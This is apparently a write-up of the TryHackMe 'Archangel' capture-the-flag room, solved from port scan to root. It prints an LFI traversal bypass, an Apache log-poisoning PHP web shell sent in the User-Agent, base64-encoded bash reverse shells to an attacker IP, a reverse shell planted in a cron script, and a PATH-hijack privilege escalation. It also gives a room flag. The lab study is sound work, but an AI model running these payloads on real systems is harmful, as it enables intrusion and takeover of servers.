Archangel tryhackme writeup
Image generated by DALL-E 2 AI
User flag
Firstly, basic port scanning as always
nmap -sS -p- --min-rate 5000 -n -Pn -oN allports -vv 10.10.56.140
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
nmap -sCV -p22,80 -oN targeted -vv 10.10.56.140
... (Nothing interesting)
Nothing meaningful appears, so let’s take a look at the website. It has some directories but nothing fancy yet. However, we haven’t added anything to our /etc/host yet which is a step that is always present in this kind of CTF since it can give more information. From the contact email we can deduct that the domain is mafialive.thm so I added it to my /etc/hosts
# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1 localhost
::1 localhost
10.10.147.13 mafialive.thm
Now if we go to http://mafialive.thm/ we find the first flag. At this point, I fuzzed for common files and found some interesting files.
ffuf -w ~/wordlist/Filenames_Doted_Common.wordlist -u http://mafialive.thm/FUZZ -v
[Status: 403, Size: 278, Words: 20, Lines: 10]
| URL | http://mafialive.thm/.htpasswd
* FUZZ: .htpasswd
[Status: 200, Size: 34, Words: 3, Lines: 3]
| URL | http://mafialive.thm/robots.txt
* FUZZ: robots.txt
[Status: 200, Size: 286, Words: 38, Lines: 16]
| URL | http://mafialive.thm/test.php
* FUZZ: test.php
robots.txt disallows test.php so I looked into it. When you click the only button on the page you get redirected to an internal file with a url parameter. This looks promising for a LFI. It is often a good idea to look at the code making the LFI possible to learn how to bypass it, but it seems that if you type test.php it interprets it. However, this has a solution, encoding it in base64 using a wrapper.
http://mafialive.thm/test.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/test.php
Now if we decode it we get
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
The code just means that the url must contain /var/www/html/development_testing and mustn’t contain ../.. . This is easy to bypass by using ..//. Once we know these works try to get RCE with log poisoning as usual. To quickly find the logs I used a custom wordlist
ffuf -w ~/wordlist/common-unix-httpd-log-locations-no-slash.txt -u http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//../FUZZ -v -fs 286
[Status: 200, Size: 137159, Words: 13402, Lines: 770]
| URL | http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//..//var/log/apache2/error.log
* FUZZ: /var/log/apache2/error.log
[Status: 200, Size: 143588, Words: 17908, Lines: 1197]
| URL | http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//..//var/log/apache2/access.log
* FUZZ: /var/log/apache2/access.log
The next step is to use a malicious User-Agent like this.
curl -A '<?php system($_GET['cmd']); ?>' http://mafialive.thm/test.php?view=/var/www/html/development_testing
Now we finally have RCE with the cmd parameter. Then I created a base64 rev shell payload and got the shell
$ echo "bash -i >& /dev/tcp/10.18.52.67/7777 0>&1" | base64 | base64
WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhPQzQxTWk0Mk55ODNOemMzSURBK0pqRUsK
$ nc -lvp 7777
...
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//../var/log/apache2/access.log&cmd=echo%20%22WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhPQzQxTWk0Mk55ODNOemMzSURBK0pqRUsK%22%20|%20base64%20-d%20|%20base64%20-d%20|%20bash
...
Connection from 10.10.147.13:60348
bash: cannot set terminal process group (418): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/development_testing$ ^Z
zsh: suspended nc -lvp 7777
[dasor@archlinux ~]$ stty raw -echo;fg
[1] + continued nc -lvp 7777
www-data@ubuntu:/var/www/html/development_testing$ script /dev/null -c bash
Script started, file is /dev/null
www-data@ubuntu:/var/www/html/development_testing$
www-data@ubuntu:/var/www/html/development_testing$ stty rows 30 columns 132
www-data@ubuntu:/var/www/html/development_testing$ export TERM=xterm
www-data@ubuntu:/var/www/html/development_testing$
At this point, I started searching for common privesc paths and found an interesting file in /opt
www-data@ubuntu:/opt$ ls -la
total 16
drwxrwxrwx 3 root root 4096 Nov 20 2020 .
drwxr-xr-x 22 root root 4096 Nov 16 2020 ..
drwxrwx--- 2 archangel archangel 4096 Nov 20 2020 backupfiles
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
Weirdly, this is here. The first thing that came to my mind is that it may be a cronjob so I added a reverse shell to see if I could escalate to user archangel.
www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
bash -i >& /dev/tcp/10.18.52.67/4444 0>&1
...
nc -lvp 4444
Connection from 10.10.147.13:38678
bash: cannot set terminal process group (1134): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$
After a couple of minutes, I got the connection and successfully entered as the user archangel, now we can get the user flag.
Root flag
Now if we go to the secret directory in archangel’s home we find a backup binary with the SUID bit set. If we try to execute we get a cp error so this can easily be exploited with $PATH manipulation like this.
archangel@ubuntu:~/secret$ cat cp
#!/bin/bash
bash
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
archangel@ubuntu:~/secret$ chmod 777 cp
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# whoami
root
Just by creating a simple fake cp executable and giving it a priority in the PATH environment variable, we are root.